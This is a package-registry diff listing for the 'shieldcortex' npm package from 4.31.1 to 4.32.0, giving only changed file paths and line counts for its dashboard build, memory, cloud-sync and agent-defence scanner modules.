shieldcortex 4.31.1 → 4.32.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +78 -2
- package/dashboard/.next/standalone/dashboard/.next/BUILD_ID +1 -1
- package/dashboard/.next/standalone/dashboard/.next/build-manifest.json +2 -2
- package/dashboard/.next/standalone/dashboard/.next/prerender-manifest.json +3 -3
- package/dashboard/.next/standalone/dashboard/.next/server/app/_global-error.html +2 -2
- package/dashboard/.next/standalone/dashboard/.next/server/app/_global-error.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/_global-error.segments/__PAGE__.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/_global-error.segments/_full.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/_global-error.segments/_head.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/_global-error.segments/_index.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/_global-error.segments/_tree.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/_not-found.html +2 -2
- package/dashboard/.next/standalone/dashboard/.next/server/app/_not-found.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/_not-found.segments/_full.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/_not-found.segments/_head.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/_not-found.segments/_index.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/_not-found.segments/_not-found/__PAGE__.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/_not-found.segments/_not-found.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/_not-found.segments/_tree.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/admin.html +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/admin.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/admin.segments/!KGRhc2hib2FyZCk/admin/__PAGE__.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/admin.segments/!KGRhc2hib2FyZCk/admin.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/admin.segments/!KGRhc2hib2FyZCk.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/admin.segments/_full.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/admin.segments/_head.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/admin.segments/_index.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/admin.segments/_tree.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/cloud.html +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/cloud.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/cloud.segments/!KGRhc2hib2FyZCk/cloud/__PAGE__.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/cloud.segments/!KGRhc2hib2FyZCk/cloud.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/cloud.segments/!KGRhc2hib2FyZCk.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/cloud.segments/_full.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/cloud.segments/_head.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/cloud.segments/_index.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/cloud.segments/_tree.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/index.html +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/index.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/index.segments/__PAGE__.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/index.segments/_full.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/index.segments/_head.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/index.segments/_index.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/index.segments/_tree.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/capture.html +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/capture.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/capture.segments/!KGRhc2hib2FyZCk/memory/capture/__PAGE__.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/capture.segments/!KGRhc2hib2FyZCk/memory/capture.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/capture.segments/!KGRhc2hib2FyZCk/memory.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/capture.segments/!KGRhc2hib2FyZCk.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/capture.segments/_full.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/capture.segments/_head.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/capture.segments/_index.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/capture.segments/_tree.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/graph.html +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/graph.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/graph.segments/!KGRhc2hib2FyZCk/memory/graph/__PAGE__.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/graph.segments/!KGRhc2hib2FyZCk/memory/graph.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/graph.segments/!KGRhc2hib2FyZCk/memory.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/graph.segments/!KGRhc2hib2FyZCk.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/graph.segments/_full.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/graph.segments/_head.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/graph.segments/_index.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/graph.segments/_tree.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/recall.html +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/recall.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/recall.segments/!KGRhc2hib2FyZCk/memory/recall/__PAGE__.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/recall.segments/!KGRhc2hib2FyZCk/memory/recall.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/recall.segments/!KGRhc2hib2FyZCk/memory.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/recall.segments/!KGRhc2hib2FyZCk.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/recall.segments/_full.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/recall.segments/_head.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/recall.segments/_index.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/recall.segments/_tree.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/replay.html +2 -2
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/replay.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/replay.segments/!KGRhc2hib2FyZCk/memory/replay/__PAGE__.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/replay.segments/!KGRhc2hib2FyZCk/memory/replay.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/replay.segments/!KGRhc2hib2FyZCk/memory.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/replay.segments/!KGRhc2hib2FyZCk.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/replay.segments/_full.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/replay.segments/_head.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/replay.segments/_index.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/replay.segments/_tree.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/review.html +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/review.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/review.segments/!KGRhc2hib2FyZCk/memory/review/__PAGE__.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/review.segments/!KGRhc2hib2FyZCk/memory/review.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/review.segments/!KGRhc2hib2FyZCk/memory.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/review.segments/!KGRhc2hib2FyZCk.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/review.segments/_full.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/review.segments/_head.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/review.segments/_index.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/review.segments/_tree.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/timeline.html +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/timeline.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/timeline.segments/!KGRhc2hib2FyZCk/memory/timeline/__PAGE__.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/timeline.segments/!KGRhc2hib2FyZCk/memory/timeline.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/timeline.segments/!KGRhc2hib2FyZCk/memory.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/timeline.segments/!KGRhc2hib2FyZCk.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/timeline.segments/_full.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/timeline.segments/_head.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/timeline.segments/_index.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory/timeline.segments/_tree.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory.html +2 -2
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory.segments/!KGRhc2hib2FyZCk/memory/__PAGE__.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory.segments/!KGRhc2hib2FyZCk/memory.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory.segments/!KGRhc2hib2FyZCk.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory.segments/_full.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory.segments/_head.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory.segments/_index.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/memory.segments/_tree.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/overview.html +2 -2
- package/dashboard/.next/standalone/dashboard/.next/server/app/overview.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/overview.segments/!KGRhc2hib2FyZCk/overview/__PAGE__.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/overview.segments/!KGRhc2hib2FyZCk/overview.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/overview.segments/!KGRhc2hib2FyZCk.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/overview.segments/_full.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/overview.segments/_head.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/overview.segments/_index.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/overview.segments/_tree.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection/audit.html +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection/audit.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection/audit.segments/!KGRhc2hib2FyZCk/protection/audit/__PAGE__.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection/audit.segments/!KGRhc2hib2FyZCk/protection/audit.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection/audit.segments/!KGRhc2hib2FyZCk/protection.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection/audit.segments/!KGRhc2hib2FyZCk.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection/audit.segments/_full.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection/audit.segments/_head.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection/audit.segments/_index.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection/audit.segments/_tree.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection/intercepts.html +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection/intercepts.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection/intercepts.segments/!KGRhc2hib2FyZCk/protection/intercepts/__PAGE__.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection/intercepts.segments/!KGRhc2hib2FyZCk/protection/intercepts.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection/intercepts.segments/!KGRhc2hib2FyZCk/protection.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection/intercepts.segments/!KGRhc2hib2FyZCk.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection/intercepts.segments/_full.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection/intercepts.segments/_head.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection/intercepts.segments/_index.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection/intercepts.segments/_tree.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection/iron-dome.html +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection/iron-dome.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection/iron-dome.segments/!KGRhc2hib2FyZCk/protection/iron-dome/__PAGE__.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection/iron-dome.segments/!KGRhc2hib2FyZCk/protection/iron-dome.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection/iron-dome.segments/!KGRhc2hib2FyZCk/protection.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection/iron-dome.segments/!KGRhc2hib2FyZCk.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection/iron-dome.segments/_full.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection/iron-dome.segments/_head.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection/iron-dome.segments/_index.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection/iron-dome.segments/_tree.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection/policies.html +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection/policies.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection/policies.segments/!KGRhc2hib2FyZCk/protection/policies/__PAGE__.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection/policies.segments/!KGRhc2hib2FyZCk/protection/policies.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection/policies.segments/!KGRhc2hib2FyZCk/protection.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection/policies.segments/!KGRhc2hib2FyZCk.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection/policies.segments/_full.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection/policies.segments/_head.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection/policies.segments/_index.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection/policies.segments/_tree.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection/quarantine.html +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection/quarantine.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection/quarantine.segments/!KGRhc2hib2FyZCk/protection/quarantine/__PAGE__.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection/quarantine.segments/!KGRhc2hib2FyZCk/protection/quarantine.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection/quarantine.segments/!KGRhc2hib2FyZCk/protection.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection/quarantine.segments/!KGRhc2hib2FyZCk.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection/quarantine.segments/_full.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection/quarantine.segments/_head.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection/quarantine.segments/_index.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection/quarantine.segments/_tree.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection.html +2 -2
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection.segments/!KGRhc2hib2FyZCk/protection/__PAGE__.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection.segments/!KGRhc2hib2FyZCk/protection.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection.segments/!KGRhc2hib2FyZCk.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection.segments/_full.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection.segments/_head.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection.segments/_index.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/protection.segments/_tree.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/settings.html +2 -2
- package/dashboard/.next/standalone/dashboard/.next/server/app/settings.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/settings.segments/!KGRhc2hib2FyZCk/settings/__PAGE__.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/settings.segments/!KGRhc2hib2FyZCk/settings.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/settings.segments/!KGRhc2hib2FyZCk.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/settings.segments/_full.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/settings.segments/_head.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/settings.segments/_index.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/settings.segments/_tree.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/supply-chain/xray.html +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/supply-chain/xray.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/supply-chain/xray.segments/!KGRhc2hib2FyZCk/supply-chain/xray/__PAGE__.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/supply-chain/xray.segments/!KGRhc2hib2FyZCk/supply-chain/xray.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/supply-chain/xray.segments/!KGRhc2hib2FyZCk/supply-chain.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/supply-chain/xray.segments/!KGRhc2hib2FyZCk.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/supply-chain/xray.segments/_full.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/supply-chain/xray.segments/_head.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/supply-chain/xray.segments/_index.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/supply-chain/xray.segments/_tree.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/supply-chain.html +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/supply-chain.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/supply-chain.segments/!KGRhc2hib2FyZCk/supply-chain/__PAGE__.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/supply-chain.segments/!KGRhc2hib2FyZCk/supply-chain.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/supply-chain.segments/!KGRhc2hib2FyZCk.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/supply-chain.segments/_full.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/supply-chain.segments/_head.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/supply-chain.segments/_index.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/supply-chain.segments/_tree.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/xray.html +2 -2
- package/dashboard/.next/standalone/dashboard/.next/server/app/xray.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/xray.segments/!KGRhc2hib2FyZCk/xray/__PAGE__.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/xray.segments/!KGRhc2hib2FyZCk/xray.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/xray.segments/!KGRhc2hib2FyZCk.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/xray.segments/_full.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/xray.segments/_head.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/xray.segments/_index.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/app/xray.segments/_tree.segment.rsc +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/pages/404.html +2 -2
- package/dashboard/.next/standalone/dashboard/.next/server/pages/500.html +2 -2
- package/dashboard/.next/standalone/dashboard/.next/server/server-reference-manifest.js +1 -1
- package/dashboard/.next/standalone/dashboard/.next/server/server-reference-manifest.json +1 -1
- package/dist/api/control.d.ts +2 -0
- package/dist/api/control.js +119 -2
- package/dist/api/routes/memories.js +19 -14
- package/dist/api/routes/system.js +2 -3
- package/dist/api/visualization-server.d.ts +13 -1
- package/dist/api/visualization-server.js +57 -1
- package/dist/audit/env-scanner.js +5 -2
- package/dist/audit/index.d.ts +4 -1
- package/dist/audit/index.js +2 -1
- package/dist/audit/mcp-config-scanner.d.ts +23 -0
- package/dist/audit/mcp-config-scanner.js +110 -0
- package/dist/audit/mcp-tools-scanner.d.ts +112 -0
- package/dist/audit/mcp-tools-scanner.js +299 -0
- package/dist/cli/audit.d.ts +1 -0
- package/dist/cli/audit.js +12 -1
- package/dist/cli/mcp.d.ts +13 -0
- package/dist/cli/mcp.js +0 -0
- package/dist/cli/remember.d.ts +75 -0
- package/dist/cli/remember.js +195 -0
- package/dist/cloud/config.d.ts +23 -1
- package/dist/cloud/config.js +453 -193
- package/dist/cloud/quarantine-sync.d.ts +12 -2
- package/dist/cloud/quarantine-sync.js +28 -6
- package/dist/cloud/sync-queue.d.ts +21 -2
- package/dist/cloud/sync-queue.js +124 -29
- package/dist/database/better-sqlite3-guard.d.ts +27 -2
- package/dist/database/better-sqlite3-guard.js +58 -5
- package/dist/database/init.js +85 -17
- package/dist/database/inline-schema.js +35 -1
- package/dist/database/migrations.js +104 -8
- package/dist/database/schema.sql +39 -1
- package/dist/defence/audit/queries.d.ts +10 -2
- package/dist/defence/audit/queries.js +30 -4
- package/dist/defence/audit/retention.d.ts +50 -0
- package/dist/defence/audit/retention.js +161 -0
- package/dist/defence/credential-leak/entropy.d.ts +11 -0
- package/dist/defence/credential-leak/entropy.js +27 -0
- package/dist/defence/credential-leak/index.js +27 -1
- package/dist/defence/credential-leak/patterns.d.ts +9 -0
- package/dist/defence/credential-leak/patterns.js +21 -0
- package/dist/defence/custom-patterns/store.js +8 -1
- package/dist/defence/custom-rules/store.d.ts +18 -0
- package/dist/defence/custom-rules/store.js +63 -0
- package/dist/defence/firewall/confusables.d.ts +30 -0
- package/dist/defence/firewall/confusables.js +87 -0
- package/dist/defence/firewall/encoding-detector.js +23 -9
- package/dist/defence/firewall/index.d.ts +11 -1
- package/dist/defence/firewall/index.js +34 -1
- package/dist/defence/firewall/instruction-detector.js +18 -7
- package/dist/defence/firewall/markdown-image-detector.d.ts +34 -0
- package/dist/defence/firewall/markdown-image-detector.js +83 -0
- package/dist/defence/fragmentation/entity-extractor.js +17 -6
- package/dist/defence/index.d.ts +5 -0
- package/dist/defence/index.js +8 -0
- package/dist/defence/iron-dome/index.js +7 -1
- package/dist/defence/pipeline.js +62 -10
- package/dist/defence/scan-windows.d.ts +41 -0
- package/dist/defence/scan-windows.js +61 -0
- package/dist/defence/semantic/attack-corpus.d.ts +22 -0
- package/dist/defence/semantic/attack-corpus.js +75 -0
- package/dist/defence/semantic/index.d.ts +67 -0
- package/dist/defence/semantic/index.js +138 -0
- package/dist/defence/skill-scanner/deep-scan.js +35 -15
- package/dist/defence/skill-scanner/patterns.d.ts +1 -1
- package/dist/defence/skill-scanner/patterns.js +8 -7
- package/dist/defence/tool-response-scanner.d.ts +21 -5
- package/dist/defence/tool-response-scanner.js +111 -22
- package/dist/defence/types.d.ts +11 -1
- package/dist/index.d.ts +29 -0
- package/dist/index.js +104 -20
- package/dist/memory/consolidate.js +1 -1
- package/dist/memory/decay.js +3 -1
- package/dist/memory/embedding.d.ts +18 -2
- package/dist/memory/embedding.js +32 -11
- package/dist/memory/expiry.js +1 -1
- package/dist/memory/search-recall.js +107 -49
- package/dist/memory/search.d.ts +19 -3
- package/dist/memory/search.js +25 -10
- package/dist/memory/store.d.ts +13 -2
- package/dist/memory/store.js +115 -11
- package/dist/scan-only.d.ts +64 -0
- package/dist/scan-only.js +173 -0
- package/dist/server.d.ts +5 -0
- package/dist/server.js +6 -4
- package/dist/setup/claude-md.js +39 -34
- package/dist/setup/codex.js +9 -2
- package/dist/setup/copilot.js +160 -47
- package/dist/setup/json-config.d.ts +99 -0
- package/dist/setup/json-config.js +167 -0
- package/dist/setup/migrate.js +1 -1
- package/dist/setup/settings-hooks.js +8 -13
- package/dist/setup/uninstall.js +1 -21
- package/dist/tools/context.d.ts +8 -8
- package/dist/tools/forget.d.ts +9 -8
- package/dist/tools/forget.js +17 -4
- package/dist/tools/recall.d.ts +13 -13
- package/dist/tools/remember.d.ts +16 -16
- package/dist/tools/remember.js +19 -8
- package/dist/worker/brain-worker.d.ts +1 -0
- package/dist/worker/brain-worker.js +79 -16
- package/dist/worker/types.d.ts +8 -0
- package/dist/worker/types.js +8 -0
- package/dist/xray/dir-scanner.d.ts +18 -0
- package/dist/xray/dir-scanner.js +23 -1
- package/dist/xray/file-scanner.js +16 -1
- package/dist/xray/findings-store.js +9 -1
- package/dist/xray/index.d.ts +2 -0
- package/dist/xray/index.js +10 -1
- package/dist/xray/npm-inspector.d.ts +31 -0
- package/dist/xray/npm-inspector.js +135 -29
- package/dist/xray/patterns.d.ts +1 -1
- package/dist/xray/patterns.js +20 -23
- package/dist/xray/sarif.d.ts +78 -0
- package/dist/xray/sarif.js +166 -0
- package/dist/xray/watch.d.ts +1 -0
- package/dist/xray/watch.js +10 -1
- package/hooks/openclaw/cortex-memory/handler.ts +122 -18
- package/hooks/openclaw/cortex-memory/runtime.mjs +10 -4
- package/package.json +10 -3
- package/dist/memory/embedding-cache.d.ts +0 -20
- package/dist/memory/embedding-cache.js +0 -91
- /package/dashboard/.next/standalone/dashboard/.next/static/{T0hqc-Le01c8QVY0VrHnu → Ox9scglBehbbCk7DD8-Vn}/_buildManifest.js +0 -0
